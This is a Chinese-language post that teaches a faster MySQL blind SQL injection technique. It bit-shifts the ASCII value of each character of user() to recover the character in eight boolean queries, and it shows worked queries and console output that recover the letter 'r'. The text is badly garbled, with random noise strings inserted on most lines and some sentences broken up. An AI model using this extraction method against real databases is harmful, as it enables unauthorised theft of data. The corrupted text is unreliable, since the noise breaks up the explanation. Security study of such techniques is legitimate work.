关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



0 p8 O& R! u5 F1 C; q+ m0 R9 c' X1 c下面将以查询mysql数据库当中user()的第一位为例:
% A5 N# [" J9 V6 v0 S
( F4 E" Z! q+ w# _, W( V( P
, {) i) G. w+ A3 y! X8 s" k+ F
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
! t; m5 ~) m, a) l3 b0 A. f  P

, a/ J. m+ ]3 }# |- ^- F
+ T9 i- @5 h6 |; X5 m8 D$ ^, A首先执行如下sql语句:
6 I9 K: R1 R- C

/ ^; m6 f- ~* E
+ Z7 h4 b0 C+ t. e3 Umysql> select (ascii((substr(user(),1,1))) >> 7)=0;

9 j/ [* i! @* ~' R- ]8 H
- Z9 f1 R( b) h: D
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

$ }+ z4 V8 R5 s

/ u+ u$ F) h2 a/ z* q第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

3 u0 b2 v! ]$ T: n- m

+ T& @( q: h! v' `; R- V; [如果运算结果为1,说明第一位为0,不为1

/ F, ?% x" z  J  }$ Q) ^
; x4 x1 p/ L7 [; F
+————————————–+

) ^* n! f' v* e+ V" x| (ascii((substr(user(),1,1))) >> 7)=0 |

* H( n$ g4 V& F) D* z6 m) X+————————————–+

| 1 |

# p5 A& c9 x& Q8 L% y9 I3 R6 Z* l+————————————–+
3 D2 G7 P  }) R& Z, V7 O% _7 I" p
$ v5 l5 V. N2 I$ e+ l: K1 row in set (0.00 sec)
3 D. a: K8 t) I
这样我们就确定这个8bit的ascii的第一位为0
( P+ D; |0 G8 u# M( z3 _
* k4 L0 z6 `% B/ Q
( ^5 G, ^" W, `
第二次我们来做6次右偏移来确定前两位

6 A* P1 C5 b* f2 L9 R0 r3 L3 o

' L$ ?3 G, N! N1 r4 @8 G前两位可能是01或00,即依然可以与0做比较,

* [8 w, h) ]2 @/ m5 k$ K1 K6 Kmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
; {7 k# O% u" Y
+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
4 ]7 L8 d- ^$ D, I; w% g1 \! Q
+————————————–+

| 0 |
% W- R; Q, h- N: Z( u
1 c- ^) P1 `* n$ Z; e4 P+————————————–+

: c- N8 Q. l0 `) V9 E1 row in set (0.00 sec)


7 Y7 D0 M( V: @/ t/ L: t! a8 K( M6 }, |
结果为0,即第二位为1
' v/ G( a  H4 I1 j
7 G- O/ S2 G' S# q! z4 j
4 m: y8 K' d* X5 H( d
开始猜测前三位为010或011
" b4 W& |$ e. N2 {! {! L
( V# N2 A5 V( e
- N7 ]5 \  l7 l/ \
4 q/ z/ a5 Z# p: I6 S- @让我们看看010和011的ascii码是多少

' R9 D# v4 R7 h! {5 ?. J

分别查询select b’011′ select b’010′



获得结果 010 = 2 011 = 3


( K  N& f! E4 \# \
执行如下sql:



mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

9 @& g8 I3 s- O7 d1 ~. I  ^+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |
( w4 l2 X: |# P- o2 g
1 {9 a6 u$ Y+ f: L. O5 m5 G, Y) K+————————————–+
0 a! J/ x: a1 v: F: ?
. f+ Z5 h, m1 n# R| 0 |

+————————————–+
0 q  U% q# w6 y4 {* Q
即前三位不为010,而是011
- ?% ^, ^8 x! p- o5 v% T


直到获得最后一位
4 S2 V8 L7 u/ n0 ^- X9 r2 U4 e' A1 N

, x0 h$ ], c% b! y
最终结果为:01110010
- g; Y, B2 U; G% u


转换一下:
2 a8 P% z; S/ {. P- ?7 q* u
* A2 k) H4 U: o% F0 v8 l
4 }' C9 @, v8 _# h3 @
& y$ K! W/ D- H; ]3 v+ x+ kselect b’01110010′
  E7 M7 i) I- x/ y" S: T1 |

( l  D8 M5 C1 G4 @# C1 F& ~' `* ]
查询结果

* e1 L" l' n: W& X. k9 _
8 n8 c! _) D* U+ @% F: s; N$ }
( J- y8 p8 Z* M' q: X  t7 n+————-+
4 S" C6 Z2 B" \" E1 v: J- n$ c
| b’01110010′ |
- A1 H4 A/ X  s, f0 R; b$ D! s9 u4 h
+————-+

| r |

+————-+

+ c' H: ^6 P% K1 row in set (0.00 sec)

- I+ J7 |; L, k- b0 b2 a+ t+ z
6 s! Y; h6 A" w2 _9 n0 ?$ p
& `$ e% m/ {9 Z这样我们就获得了user()的第一位.其它位依此类推

9 s: R% i4 y& B/ @7 h% k